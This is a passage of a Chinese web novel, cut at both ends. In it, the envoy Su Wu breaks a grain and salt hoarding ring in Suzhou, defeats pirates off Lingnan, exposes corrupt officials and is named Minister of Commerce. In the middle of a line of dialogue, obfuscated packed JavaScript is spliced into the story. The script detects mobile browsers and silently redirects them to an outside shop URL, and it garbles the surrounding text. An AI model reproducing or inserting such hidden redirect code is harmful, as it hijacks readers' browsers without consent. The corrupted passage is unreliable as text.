朝堂之上，瞬间分成两派。一派是以江南士族、守旧官员为首，坚决反对女子为钦差，高呼“祖制不可破”；另一派则是以寒门官员、忠良之士为首，力挺苏芜，认为“能者居之，不问男女”。永熙帝坐在龙椅上，看着争论不休的群臣，面色沉凝，最终一拍龙椅，厉声喝道：“够了！朕意已决！苏芜持钦差关防，南下巡访，便宜行事。谁敢阻挠，以抗旨论处！” 旨意既下，无人再敢置喙。钱谦益等人虽心有不甘，却也只能俯首领旨，眼底却藏着深深的怨毒——他们清楚，苏芜南下，便是要动江南士族的根本利益，这场较量，关乎江南士族的兴衰存亡，他们绝不可能束手就擒。 苏芜接旨之时，正在惜春坊总坊，看着新一批学成的孤女，手持绣针，在锦缎上绣出“国泰民安”的纹样。接到圣旨，她没有半分惊喜，反而心头沉甸甸的——她知道，这道钦差关防，是权力，更是沉甸甸的责任。江南士族盘根错节，经营数百年，势力渗透到江南的每一个角落；岭南倭寇海盗，悍不畏死，且有海外势力暗中支持，这场南下之行，注定是一场硬仗。 青禾为她整理行装，将钦差关防、尚方宝剑小心翼翼地放入锦盒，眼眶微红：“苏芜姐姐，江南士族阴险狡诈，岭南倭寇凶残，此去路途遥远，危机四伏，你一定要保重。我已挑选了五十名惜春坊出身、身手最好的女子，组成‘芜锦卫’，随你南下，她们既能刺绣做账，又能防身杀敌，定能护你周全。” 王大则带着百名惠民商社的护卫，立于院中，皆是身经百战的汉子，手持长刀，腰悬弓箭，神情肃穆。“苏姑娘，属下已备好船只，粮草、兵器皆已备齐。江南各府的惠民商社分坛，已接到指令，随时待命，配合姑娘行事。” 赵老与周老丈也赶来，递上一个锦袋：“苏姑娘，这里面是江南、岭南的草药分布图，还有专治刀伤、箭伤、瘟疫的药膏，岭南湿热，易生瘟疫，姑娘务必带好。另外，我们已联络了岭南的药商，他们会暗中提供倭寇海盗的消息。” 苏芜看着眼前的众人，心中暖意融融。十年相伴，他们早已不是主仆，而是血脉相连的家人。她接过锦袋，郑重地点了点头：“诸位放心，我此去，定不负陛下所托，不负百姓所望，平定江南乱象，清剿岭南倭寇，让新政得以推行，让百姓得以安宁。” 三日后，苏芜的船队，从京城通州码头出发，沿运河南下。船队共二十艘大船，分作三列，中间的主船，悬挂着“钦差苏”的杏黄大旗，两侧的船只，分别载着芜锦卫、惠民商社护卫，以及粮草、兵器、药膏。一路之上，所经州县，地方官员皆出城迎接，寒门商贩与百姓更是夹道欢迎，高呼“苏钦差千岁”。苏芜则轻车简从，每到一处，必登岸查访，查看商税新政推行情况，慰问寒门商贩，查看惜春坊分坊的情况，遇有地方官员徇私枉法，当即以钦差身份，革职查办，雷厉风行的手段，让沿途官员皆噤若寒蝉。 船队行至苏州府，便停了下来。苏州乃江南首府，也是江南士族的核心腹地，钱谦益的老家便在苏州府常熟县，这里的米价、盐价乱象，也最为严重。 苏芜的船队刚靠岸，苏州知府李嵩，便带着苏州府的大小官员，以及江南的士族代表，立于码头迎接。李嵩是钱谦益的门生，典型的江南士族官员，面色白皙，身着绯色官服，见苏芜下船，连忙躬身行礼，语气却带着几分疏离：“下官苏州知府李嵩，率苏州府众官，恭迎苏钦差。” 其身侧的士族代表，皆是身着锦缎，头戴儒巾的老者，为首的是苏州陆氏家主陆敬之，乃江南文坛领袖，也是江南士族的核心人物。他看着苏芜，目光中带着几分轻蔑，拱手道：“久仰苏夫人盛名，今日得见，果然名不虚传。只是不知，苏夫人以女子之身，持钦差关防，代天巡狩，是否合乎祖制？” 苏芜淡淡瞥了他一眼，并未理会他的诘问，而是目光扫过码头周围的百姓。只见码头的角落，围了数十名衣衫褴褛的百姓，手中拿着空米袋，面色憔悴，眼神中带着绝望。苏芜心中一动，迈步走向那些百姓，青禾与芜锦卫的女子连忙跟上，护在她身侧。 “老人家，你们为何在此？”苏芜走到一位白发苍苍的老者面前，轻声问道。 老者见她身着钦差服饰，眼中闪过一丝希望，扑通一声跪在地上，哭着道：“苏钦差，您可要为我们做主啊！苏州的米价，从上个月的一石五百文，涨到了现在的一石两千文，盐价也翻了三倍！我们这些小百姓，根本买不起米，买不起盐，只能饿肚子啊！那些米行、盐行，都被陆老爷、钱老爷他们把持着，他们囤积居奇，抬高物价，还不许寒门商贩卖米卖盐，谁要是敢违抗，就会被他们的人打砸店铺，甚至抓起来！” 老者的话，引来了周围百姓的附和，数十名百姓纷纷跪地，哭喊道：“苏钦差，求您为我们做主！我们实在是活不下去了！” 苏芜的脸色，瞬间沉了下来。她早已知晓江南米盐乱象，却没想到，竟严重到如此地步。一石米两千文，相当于寻常百姓半年的收入，这般囤积居奇，无疑是将百姓逼上绝路。 她转身，看向李嵩与陆敬之，声音冷冽：“李知府，陆老爷，这位老人家所言，可是实情？” 李嵩脸色一白，连忙道：“苏钦差，这……这都是谣言！苏州的米盐价格，皆是市场调节，何来囤积居奇之说？这些百姓，定是受人蛊惑，胡言乱语。” “市场调节？”苏芜冷笑一声，“市场调节，能让米价一月之内翻四倍？李知府，你身为苏州知府，守土有责，百姓食不果腹，你却视而不见，反而为士族豪强辩解，你这个知府，是怎么当的？” 陆敬之则上前一步，面色倨傲：“苏钦差，饭可以乱吃，话不能乱说。我江南士族，世代书香，忠君爱国，怎会囤积居奇，压榨百姓？不过是些寒门商贩，恶意竞争，扰乱市场，我们不过是加以约束罢了。苏钦差若要查，便去查那些寒门商贩，莫要错怪了好人。” “约束？”苏芜目光如刀，落在陆敬之身上，“将米盐囤积起来，抬高物价，让百姓饿肚子，这也叫约束？陆老爷，你世代书香，可知‘民为邦本，本固邦宁’？你压榨百姓，便是动摇国本！今日，我便替陛下，替百姓，查一查你们江南士族的‘约束’！” 说罢，苏芜对着身后的王大喝道：“王大，传我命令，即刻封锁苏州府所有的米行、盐行，查封士族豪强的粮仓、盐仓，开仓放粮，平价售盐，救济百姓！芜锦卫配合，严查囤积居奇之人，敢有阻拦者，以尚方宝剑斩之！” “得令！”王大与芜锦卫统领林薇齐声应道，转身便带着人，朝着苏州府的米行、盐行而去。 李嵩与陆敬之脸色大变，陆敬之厉声喝道：“苏芜，你敢！我江南士族，岂容你放肆？” “放肆的是你们！”苏芜手持尚方宝剑，剑鞘直指陆敬之，“我持钦差关防，尚方宝剑，代天巡狩，便宜行事。你们囤积居奇，压榨百姓，阻挠新政，便是抗旨，便是谋逆！今日，我便先斩后奏，看谁敢阻拦！” 尚方宝剑的寒光，映得陆敬之脸色惨白。他知道，苏芜说得出做得到，十年前，她连魏忠贤都能扳倒，如今手持尚方宝剑，根本不惧他们江南士族。李嵩更是吓得浑身发抖，他不过是个知府，怎敢与钦差抗衡？ 王大与林薇的行动，极为迅速。惠民商社的护卫，皆是身经百战，芜锦卫的女子，更是身手矫健，且熟悉苏州府的地形——这些女子，多是江南出身，被苏芜收养于惜春坊，对苏州的大街小巷了如指掌。 短短一个时辰，苏州府的数十家米行、盐行，尽数被封锁。士族豪强的粮仓、盐仓，也被一一找到，最大的一处粮仓，位于苏州城西的陆氏庄园，里面囤积了上万石粮食，足够苏州府百姓吃一年；最大的一处盐仓，位于城南的钱氏别院，囤积了数十万斤私盐，皆是江南士族借着权势，从盐场低价收购，囤积起来，高价售卖。 苏芜亲自坐镇陆氏庄园的粮仓，下令开仓放粮，以一石五百文的平价，售卖粮食给百姓。消息传出，苏州府的百姓，皆欢呼雀跃，从四面八方赶来，排起了长长的队伍。苏芜则站在粮仓门口，看着百姓们拿着米袋，脸上露出久违的笑容，心中稍安。 “苏钦差，您真是我们的活菩萨啊！”一位大娘，拿着刚买到的米，对着苏芜连连磕头。 “苏钦差，感谢您为我们做主，我们终于能吃上饱饭了！” 百姓们的感激之声，不绝于耳。苏芜扶起那位大娘，轻声道：“大娘，不必如此。我乃朝廷钦差，为民请命，是我的本分。” 就在此时，一名芜锦卫女子，匆匆跑来，对着苏芜道：“苏钦差，不好了！李知府带着苏州府的衙役，还有陆氏、钱氏的私兵，围了粮仓，说我们私闯民宅，抢夺财物，要将我们抓起来！” 苏芜的脸色，再次沉了下来。李嵩与江南士族，终究还是忍不住，要动手了。 她转身，朝着粮仓门口走去。只见粮仓外，李嵩身着官服，手持令牌，身后跟着数百名衙役，以及上千名身着锦袍、手持刀剑的私兵，为首的正是陆敬之与钱谦益的侄子钱明远。 “苏芜，你好大的胆子！”李嵩厉声喝道，“陆氏庄园，乃是私人宅邸，你竟敢带着人，私闯民宅，查封粮仓，抢夺粮食，你可知罪？” 钱明远则手持长刀，面目狰狞：“苏芜，你一个女子，也敢在江南撒野？今日，我便让你知道，江南是谁的天下！” 说罢，钱明远挥手，上千名私兵，便朝着粮仓冲了过来。衙役们则站在一旁，虎视眈眈，却不敢上前——他们知道，苏芜手持尚方宝剑，是钦差，他们若动手，便是抗旨。 王大与林薇，立刻带着护卫与芜锦卫，迎了上去。双方瞬间交战，刀光剑影，喊杀声震天。惠民商社的护卫，皆是寒门出身，为了保护百姓，为了推行新政，个个奋勇当先；芜锦卫的女子，更是身手不凡，她们多是孤女，被苏芜收养，教她们防身之术，今日，为了守护苏芜，为了守护百姓，她们更是以命相搏。 苏芜立于粮仓门口，手持尚方宝剑，目光冷冽地看着李嵩与陆敬之：“李知府，陆老爷，你们纵容私兵，对抗钦差，阻挠新政，压榨百姓，罪证确凿！今日，我便以尚方宝剑，先斩后奏，治你们的罪！” 说罢，苏芜纵身跃起，手持尚方宝剑，朝着李嵩与陆敬之飞去。她虽为女子，却跟着温庭远请来的武师，学了多年的剑术，虽不擅长冲锋陷阵，却精通剑术招式，身法灵动。 李嵩与陆敬之，皆是文弱书生，哪里见过这般阵势？见苏芜持剑飞来，吓得魂飞魄散，转身便想跑。 苏芜身形一闪，便挡在了他们面前，尚方宝剑的剑鞘，轻轻一点，便点中了李嵩的穴位。李嵩瞬间动弹不得，瘫倒在地。陆敬之则被芜锦卫的一名女子，一脚绊倒，按在地上。 钱明远见李嵩与陆敬之被擒，心中一慌，想要突围，却被王大一刀架在了脖子上。“钱明远，你还想跑？” 短短半个时辰，交战便结束了。上千名私兵，死伤过半，其余的皆跪地投降。李嵩、陆敬之、钱明远，皆被擒获。 苏芜走到李嵩面前，声音冷冽：“李嵩，你身为苏州知府，食君之禄，却不忠君之事，反而勾结士族，压榨百姓，阻挠新政，你可知错？” 李嵩瘫在地上，面如土色，哭着道：“苏钦差，我错了，我是一时糊涂，被钱谦益尚书蛊惑，求苏钦差饶我一命！” “糊涂？”苏芜冷笑，“百姓食不果腹，流离失所，你却助纣为虐，这不是糊涂，是丧尽天良！” 说罢，苏芜看向陆敬之：“陆敬之，你江南士族领袖，世代书香，却不知爱民如子，反而囤积居奇，牟取暴利，动摇国本，你可知罪？” 陆敬之依旧面色倨傲：“苏芜，你休得猖狂！我江南士族，盘根错节，你今日擒了我，明日，钱谦益尚书便会在朝堂之上参你一本，让你身败名裂！” “身败名裂？”苏芜淡淡道，“我苏芜，从乡野孤女走来，历经无数风雨，早已将生死置之度外。我所做之事，皆是为了百姓，为了朝廷，纵使身败名裂，我也无怨无悔！” 随即，苏芜对着身边的护卫道：“将李嵩、陆敬之、钱明远，打入囚车，暂押苏州府大牢。其余投降的私兵，皆放回家中，既往不咎。查抄陆氏、钱氏在苏州府的所有家产，充公济民。” “得令！” 处理完苏州府的乱象，苏芜并未停歇。她以钦差身份，任命苏州府通判——一位寒门出身、清正廉明的官员，暂代苏州知府之职，负责苏州府的日常事务。又下令，将查抄的陆氏、钱氏家产，一部分用于救济百姓，一部分用于补贴寒门商贩，帮助他们重建店铺。 随后，苏芜又接连走访江南的常州、杭州、扬州等府，皆是雷厉风行，查封士族豪强的粮仓、盐仓，开仓放粮，平价售盐，革职查办徇私枉法的官员，扶持寒门商贩，推行商税新政。江南士族，虽百般阻挠，却因苏芜手握尚方宝剑，深得百姓与寒门商贩拥戴，且有惠民商社的庞大网络支持，最终，皆以失败告终。 历时一个月，江南的米盐乱象，被彻底平定。商税新政，得以顺利推行。寒门商贩，重获生机。百姓们，得以安居乐业。江南士族，虽依旧势力庞大，却也收敛了许多，不敢再明目张胆地阻挠新政，压榨百姓。 苏芜在江南的所作所为，被快马传至京城。永熙帝看后，龙颜大悦，下旨嘉奖苏芜，称其“巾帼不让须眉，功在社稷，利在民生”。朝堂之上，寒门官员纷纷进言，称赞苏芜的功绩，而钱谦益等江南士族官员，则缄口不言，心中却对苏芜恨之入骨。 平定江南乱象后，苏芜的船队，便沿着运河，南下至杭州府，再从杭州府出海，前往岭南。 岭南的局势，比江南更为复杂。倭寇与海盗，勾结在一起，以琉球、日本为据点，袭扰岭南沿海的广州、泉州、漳州等州县，劫掠商船，焚烧村庄，杀害百姓，致使沿海百姓流离失所，海上贸易几近停滞。更严重的是，岭南的一些地方官员，为了自保，竟与倭寇海盗勾结，暗中提供粮草、情报，换取自身的平安。 苏芜的船队，刚驶入岭南海域，便遭遇了倭寇的袭击。 那日，海面风平浪静，阳光明媚。苏芜正立于主船的甲板上，查看岭南的海图，突然，瞭望哨的护卫，高声喊道：“苏钦差，不好了！东南方向，出现了十几艘倭寇战船！” 苏芜心中一凛，立刻走到船头，朝着东南方向望去。只见十几艘挂着“倭”字旗帜的战船，正朝着她们的船队，疾驰而来。战船上，站满了手持长刀、弓箭的倭寇，个个面目狰狞，杀气腾腾。 “准备迎战！”苏芜厉声喝道。 王大与林薇，立刻下令，船队的二十艘大船，迅速排成防御阵型。主船居中，两侧的战船，分列左右，船上的护卫，纷纷拿起弓箭、火铳，严阵以待。芜锦卫的女子，则负责搬运弹药，救治伤员。 倭寇的战船，速度极快，转瞬之间，便冲到了苏芜的船队面前。为首的一艘战船上，站着一个身着武士服的倭寇首领，手持武士刀，高声喊道：“船上的人听着，速速交出财物，否则，格杀勿论！” 苏芜看着那倭寇首领，眼底闪过一丝冷意。她认出，此人乃是倭寇的大头目，名叫松本一郎，手下有数千名倭寇，盘踞在琉球，多次袭扰岭南沿海，朝廷派去的水师，多次围剿，皆因他熟悉海域，且有海盗接应，而无功而返。 “松本一郎，你屡犯我大靖疆土，劫掠我大靖百姓，今日，我便让你血债血偿！”苏芜厉声喝道。 说罢，苏芜挥手，船队上的火铳，便齐齐开火。“砰！砰！砰！”枪声震天，铅弹如雨点般，朝着倭寇的战船射去。 倭寇们从未见过如此密集的火铳攻击，瞬间死伤惨重。松本一郎见状，大怒，挥舞着武士刀，高声喊道：“进攻！杀了他们！” 倭寇们纷纷拿起弓箭，朝着苏芜的船队射来，随后，驾驶着战船，朝着苏芜的船队撞来。 双方瞬间展开了激烈的海战。刀光剑影，枪声震天，战船碰撞的声音，士兵的喊杀声，伤者的惨叫声，交织在一起。苏芜的船队，虽人数少于倭寇，却装备精良——苏芜早已料到岭南倭寇猖獗，特意让惠民商社的工匠，打造了数十门小型火炮，安装在战船上，又配备了大量的火铳，威力远胜倭寇的弓箭、武士刀。 苏芜立于主船的甲板上，冷静地指挥着战斗。她根据海图，判断风向、水流，下令船队调整阵型，利用火炮，攻击倭寇战船的薄弱之处。林薇则带着芜锦卫的女子，登上倭寇的战船，与倭寇展开近身搏斗。这些女子，虽为女子，却个个勇猛，手中的长刀，挥舞得虎虎生风，倭寇们被她们杀得节节败退。 王大则带着护卫，驾驶着几艘小型战船，绕到倭寇战船的后方，偷袭倭寇的粮草船。倭寇的粮草船，被点燃，火光冲天，倭寇们见粮草被烧，军心大乱。 松本一郎见大势已去，想要驾驶战船，突围而逃。苏芜早已料到他会如此，下令主船的火炮，瞄准松本一郎的战船。“开炮！” “轰！”一声巨响，火炮的炮弹，精准地击中了松本一郎的战船。战船的船身，瞬间被炸出一个大洞，海水汹涌而入。松本一郎见状，想要跳海逃生，却被王大一箭射中肩膀，摔在甲板上。 最终，这场海战，以苏芜的船队大获全胜而告终。十几艘倭寇战船，被击沉五艘，俘获八艘，其余的皆狼狈逃窜。倭寇大头目松本一郎，被生擒活捉。倭寇死伤上千人，而苏芜的船队，仅伤亡百余人。 苏芜的船队，顺利驶入广州府的码头。广州知府陈敬，带着岭南的官员，以及沿海的百姓，早已立于码头，等候苏芜。陈敬是寒门出身，为官清正，多次组织百姓，抵抗倭寇，却因手中无兵无权，且有地方官员掣肘，而收效甚微。 见苏芜的船队归来，还生擒了松本一郎，陈敬激动得热泪盈眶，跪地行礼：“苏钦差，您可来了！岭南百姓，盼您如盼甘霖啊！” 沿海的百姓，也纷纷跪地，哭喊道：“苏钦差，求您为我们做主，剿灭倭寇，让我们能安稳度日！” 苏芜扶起陈敬，轻声道：“陈知府，不必多礼。剿灭倭寇，安抚百姓，是我分内之事。” 随后，苏芜在广州府，设立了“岭南海防署”，任命陈敬为海防署主事，负责岭南的海防事务。又从惠民商社的护卫，以及芜锦卫的女子中，挑选出两千名身手矫健、熟悉水性的人，组成“岭南水师”，由王大担任水师统领，林薇担任副统领，负责清剿倭寇海盗。 苏芜深知，倭寇海盗，之所以屡剿不灭，除了熟悉海域、有海外势力支持外，更重要的是，岭南的一些地方官员，与他们勾结。于是，她一面派岭南水师，清剿倭寇海盗的据点，一面派芜锦卫的女子，暗中调查与倭寇海盗勾结的官员。 芜锦卫的女子，皆是女子，不易引起怀疑，且心思细腻，善于察言观色。短短十日，她们便查清了，与倭寇海盗勾结的，竟是岭南按察使周显，以及泉州、漳州的两名知府。周显为了牟取暴利，暗中为倭寇海盗提供粮草、情报，甚至放任倭寇海盗，袭扰沿海百姓，换取倭寇海盗的贿赂。 苏芜得知消息后，当即决定，将计就计，抓捕周显等人。 她先是让陈敬，以“商议海防事务”为由，将周显，以及泉州、漳州的两名知府，请到广州府的海防署。周显等人，以为苏芜只是个女子，不懂海防事务，想要借机拉拢苏芜，或是设计陷害苏芜，便欣然前往。 待周显等人，进入海防署后，苏芜便下令，关闭海防署的大门，将他们团团包围。 “苏钦差，你这是何意？”周显见势不妙，脸色一变，厉声问道。 苏芜拿出芜锦卫查到的证据，扔在周显面前：“周显，你勾结倭寇海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239935|197681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盗，提供粮草、情报，放任倭寇袭扰百姓，牟取暴利，罪证确凿，你还有何话可说？” 周显看着地上的证据，脸色惨白，却依旧强装镇定：“苏芜，你血口喷人！这些证据，皆是你伪造的！” “伪造？”苏芜冷笑，“松本一郎已被我生擒，他已供出，与你勾结的经过。还有，你的管家，也已被我抓获，他也供认不讳。周显，事到如今，你还想狡辩？” 说罢，苏芜让人，将松本一郎，以及周显的管家，带了上来。松本一郎被打得遍体鳞伤，跪在地上，对着苏芜道：“苏钦差，我招，我全都招！我与周显大人，勾结了三年，他为我提供粮草、情报，我为他送去金银珠宝，泉州、漳州的知府，也参与其中！” 周显的管家，也哭着道：“老爷，我错了，我不该帮你收倭寇的贿赂，不该帮你传递情报，求苏钦差饶我一命！” 证据确凿，周显等人，再也无法狡辩，瘫倒在地，面如土色。 苏芜当即下令，将周显，以及泉州、漳州的两名知府，打入囚车，暂押广州府大牢。又下令，查抄他们的家产，充公济民，用于安抚沿海百姓，重建被倭寇焚烧的村庄。 解决了内奸，岭南水师的清剿行动，便顺利了许多。王大与林薇，带着岭南水师，先后清剿了倭寇海盗在琉球、日本的多个据点，斩杀倭寇海盗上千人，俘获数千人，解救了数百名被倭寇海盗掳走的百姓。 历时两个月，岭南的倭寇海盗，被彻底剿灭。海上贸易，逐渐恢复。沿海的百姓，也得以重返家园，重建村庄。苏芜又下令，在岭南沿海，修建海防炮台，组建常备水师，以防倭寇海盗再次袭扰。又让惠民商社，在岭南开设分坛，扶持沿海的渔民，发展海上贸易，让百姓们，能靠着捕鱼、经商，安居乐业。 岭南的局势，彻底平定。消息传至京城，永熙帝大喜过望，再次下旨，嘉奖苏芜，称其“平定江南，清剿岭南，功绩卓著，远超朝堂诸公”。 此时，朝堂之上，再次掀起了轩然大波。这一次，不再是反对苏芜，而是纷纷进言，请求永熙帝，授予苏芜正式的官衔。 先是温庭远，在金銮殿上，率先进言：“陛下，苏芜以一品诰命夫人的身份，持钦差关防，南下巡访，平定江南米盐乱象，清剿岭南倭寇海盗，推行商税新政，安抚沿海百姓，功绩卓著，利在社稷，福泽万民。其才其能，远超朝堂诸公。如今，江南、岭南虽已平定，但全国的商税、盐运、海防，仍需专人督办。苏芜熟悉商业脉络，深得民心，且手段卓绝，若授予其正式官衔，让其执掌相关事务，定能为朝廷，为百姓，再立奇功！” 紧接着，数十名寒门官员，纷纷出列，跪地进言：“陛下，温首辅所言极是！苏芜巾帼不让须眉，功绩赫赫，当授予正式官衔，入朝理政！” 钱谦益等江南士族官员，虽心有不甘，却也无法反驳——苏芜的功绩，摆在眼前，江南、岭南的百姓，对苏芜感恩戴德，若他们再反对，便是与百姓为敌，与朝廷为敌。最终，钱谦益也只能出列，拱手道：“陛下，苏芜功绩卓著，确当授予官衔。” 永熙帝坐在龙椅上，看着群臣，脸上露出了欣慰的笑容。他早已有意，授予苏芜正式的官衔，让其入朝理政。一来，苏芜确有大才，能为他分忧；二来，授予女子官衔，入朝理政，也能打破祖制，彰显他的开明，更能打击那些守旧的士族官员。 “诸卿所言，甚合朕意。”永熙帝沉声道，“苏芜功绩卓著，才德兼备，朕今日，便下旨，授予苏芜‘商部尚书’之职，加太子少保，仍领一品诰命夫人，执掌全国商税、盐运、海防贸易事务，入朝理政，参与军机要务！” 商部尚书，乃六部尚书之一，正二品官衔，加太子少保，为从一品。这道旨意，意味着苏芜，成为了大靖王朝，乃至华夏历史上，第一位女子六部尚书，真正地从诰命夫人，走进了朝堂，拥有了属于自己的，正经的官衔。 旨意下达，全国震动。百姓们欢呼雀跃，称赞永熙帝圣明，称赞苏芜为“巾帼尚书”。寒门子弟与女子，更是备受鼓舞，纷纷表示，要以苏芜为榜样，努力学习，建功立业。 此时的苏芜，刚从岭南返回苏州府，正准备带着船队，返回京城。接到永熙帝的圣旨时，她正立于苏州府的惜春坊分坊，看着孤女们，绣出“巾帼尚书”的纹样。 传旨的太监，手持明黄色的圣旨，高声宣读：“奉天承运，皇帝诏曰：苏芜持节南巡，平定江南乱象，清剿岭南倭寇，推行新政，安抚万民，功绩卓著，德被四方。朕嘉其才，念其功，特授苏芜为商部尚书，加太子少保，仍领一品诰命夫人，执掌全国商税、盐运、海防贸易事务，入朝理政，参与军机要务。望其恪尽职守，忠君爱国，为民请命，再创佳绩。钦此！” 苏芜接过圣旨，双膝跪地，俯首行礼，声音清亮，带着几分激动，几分坚定：“臣苏芜，接旨！谢陛下隆恩！臣定当恪尽职守，忠君爱国，为民请命，不负陛下所托，不负百姓所望！” 这一拜，拜的是永熙帝的知遇之恩，拜的是十年的风雨兼程，拜的是无数百姓的期盼，更是拜的，她自己数十年的努力与坚守。 从苏家村的孤女，到锦绣阁的杂役；从执掌锦绣阁的绣娘，到一品诰命夫人；如今，又成为了大靖王朝的商部尚书，太子少保。她走过的路，布满荆棘，历经风雨，却始终坚守本心，从未放弃。 传旨的太监，笑着道：“苏尚书，恭喜您！陛下与温首辅，在京城，正等着您归来，共商国是呢！” 苏芜起身，对着太监拱手道：“有劳公公千里传旨。烦请公公先行回京，告知陛下，臣整顿完江南、岭南的后续事务，便即刻回京，入朝理政。” “苏尚书客气了。”太监笑道，“那咱家，便先行回京复命了。” 太监走后，惜春坊的孤女们，纷纷围了上来，欢呼道：“苏尚书！苏尚书！” 青禾、王大、赵老、周老丈，以及陈敬、林薇等人，也纷纷上前，对着苏芜拱手道：“恭喜苏尚书！贺喜苏尚书！” 苏芜看着眼前的众人，看着她们眼中的喜悦与敬佩，心中暖意融融。她知道，这份荣耀，不属于她一个人，属于所有支持她、陪伴她的人，属于所有寒门百姓，属于所有被她收养的孤女。 “诸位，同喜。”苏芜笑着道，“这份荣耀，是我们所有人，一起拼来的。” 接下来的十日，苏芜整顿了江南、岭南的后续事务。在江南，她任命了新的苏州知府，完善了商税新政的推行细则，让惠民商社的分坛，继续扶持寒门商贩；在岭南，她完善了海防署的制度，让岭南水师，继续驻守沿海，防范倭寇海盗，又让惠民商社，大力发展海上贸易，让岭南的百姓，能靠着经商，过上好日子。 十日之后，苏芜的船队，从苏州府码头出发，朝着京城，缓缓驶去。 船队行至运河之上，沿途州县，百姓们夹道欢迎，高呼“苏尚书千岁”。苏芜立于主船的甲板上，看着两岸欢呼的百姓，看着运河之上千帆竞渡的繁华景象，看着田野里百姓们辛勤劳作的身影，心中满是感慨。 十年前，她初到京城，身无分文，只能在锦绣阁，做一个浆洗绸缎的杂役。那时的她，只想活下去，只想摆脱苏家村的苦难。 十年后，她成为了大靖王朝的商部尚书，太子少保，执掌全国的商业事务，走进了朝堂，影响着朝局民生。她不仅活了下来，还活成了自己的光，活成了无数人的光。 她知道，成为商部尚书，不是结束，而是新的开始。全国的商税、盐运、海防贸易，依旧有许多问题，需要她去解决；朝堂之上，虽已清明，却仍有守旧势力，需要她去抗衡；寒门子弟与女子的地位，虽已提升，却仍有许多不公，需要她去改变。 前路依旧漫长，依旧布满荆棘，但苏芜，早已无所畏惧。 她有温庭远的指点，有青禾、王大等人的陪伴，有惠民商社、惜春坊的支持，有全国百姓的拥戴，更有自己十年磨一剑的坚韧与智慧。 船队驶入京城通州码头时，已是暮春。京城的百姓，早已挤满了码头，从通州码头，到皇宫的朱雀门，沿途的街道，皆被百姓们围得水泄不通。 “苏尚书回来了！” “看，那就是苏尚书！我们的巾帼尚书！” “苏尚书千岁千岁千千岁！” 百姓们的欢呼之声，响彻京城的天空。 苏芜身着二品绯色官服，头戴梁冠，腰系玉带，手持象牙笏板，从主船上走了下来。她身姿挺拔，眉眼沉稳，一身官服，更衬得她气度不凡。 温庭远率领着满朝文武，立于码头，迎接苏芜。见苏芜走来，温庭远脸上露出了欣慰的笑容，率先拱手道：“苏尚书，欢迎归来。” 满朝文武，无论是寒门官员，还是士族官员，皆对着苏芜，拱手行礼，齐声喊道：“苏尚书，欢迎归来！” 苏芜对着温庭远，以及满朝文武，拱手还礼，声音清亮：“苏芜，幸不辱命，平定江南、岭南乱象，今日归来，愿与诸公，共辅陛下，共创大靖盛世！” 随后，苏芜在温庭远的陪同下，朝着皇宫走去。沿途的百姓，纷纷跪地，向苏芜行礼。苏芜则不时停下脚步，对着百姓们颔首微笑，心中满是坚定。 皇宫的金銮殿上，永熙帝端坐于龙椅之上，看着苏芜，身着官服，缓步走入大殿，眼中满是赞赏。 苏芜走到大殿中央，手持象牙笏板，双膝跪地，俯首行礼：“臣商部尚书苏芜，参见陛下，吾皇万岁万岁万万岁！幸不辱命，平定江南、岭南乱象，特来复命！” “苏爱卿，平身！”永熙帝笑着道，“苏爱卿此行，功绩卓著，为朕分忧，为百姓解难，朕心甚慰。从今往后，商部事务，便全靠苏爱卿执掌了。” “臣定当恪尽职守，不负陛下所托！”苏芜起身，手持象牙笏板，立于百官之列。 她的位置，在六部尚书之列，仅次于吏部尚书，位列第二。这是永熙帝的特意安排，也是对她功绩的最大肯定。 金銮殿上，苏芜身着绯色官服，立于百官之中，眉眼沉稳，目光坚定。她看着龙椅上的永熙帝，看着身旁的温庭远，看着满朝文武，心中清楚，她的人生，迎来了新的篇章。 从诰命夫人，到商部尚书，她终于真正地，走进了朝堂，拥有了属于自己的官衔，拥有了为百姓、为女子，发声的权力。 她将用这份权力，继续推行商税新政，扶持寒门商贩，发展全国商业；她将用这份权力，整顿盐运、海防贸易，让百姓安居乐业，让大靖的商业，走向世界；她将用这份权力，为寒门子弟，为女子，争取更多的机会，让他们能靠着自己的努力，建功立业，活得有尊严、有底气。 退朝之后，苏芜走出金銮殿，立于皇宫的朱雀门前，看着京城的万家灯火，看着街头往来的百姓，看着天边的晚霞，眼底满是平静与坚定。 青禾走到她身边，与她并肩而立，轻声道：“苏芜姐姐，不，苏尚书，你终于做到了。” 苏芜笑了笑，转头看向青禾，眼底满是暖意：“是我们，一起做到了。” 夕阳西下，晚霞映红了京城的天空，也映红了苏芜的官服。她的身影，立于朱雀门前，挺拔而坚定，如一株迎着晚霞生长的翠竹，又如一朵盛开在朝堂之上的牡丹。 9. 尚书秉政·西北安澜 永熙十三年，秋。 大靖的金銮殿上，龙涎香袅袅，鎏金铜鹤里的沉香燃得正旺，烟气绕着殿顶的盘龙藻井缓缓升腾，落在丹陛之下的百官朝服上，染了一身清贵。苏芜身着绯色织金商部尚书朝服，头戴七梁冠，腰系玉带，手持象牙笏板，立于六部尚书之列，位次仅次于吏部尚书。她身姿挺拔，眉眼间褪去了初入朝堂的淡然，添了几分执掌部务的沉稳果决，垂眸时，长长的睫毛在眼下投出浅浅的阴影，遮住了眼底的锋芒，唯有抬手奏事时，腕间的玉扣轻响，一言一行，皆合朝堂仪轨，竟让满朝文武忘了，这位商部尚书，曾是乡野走出的孤女，曾是锦绣阁里的杂役。 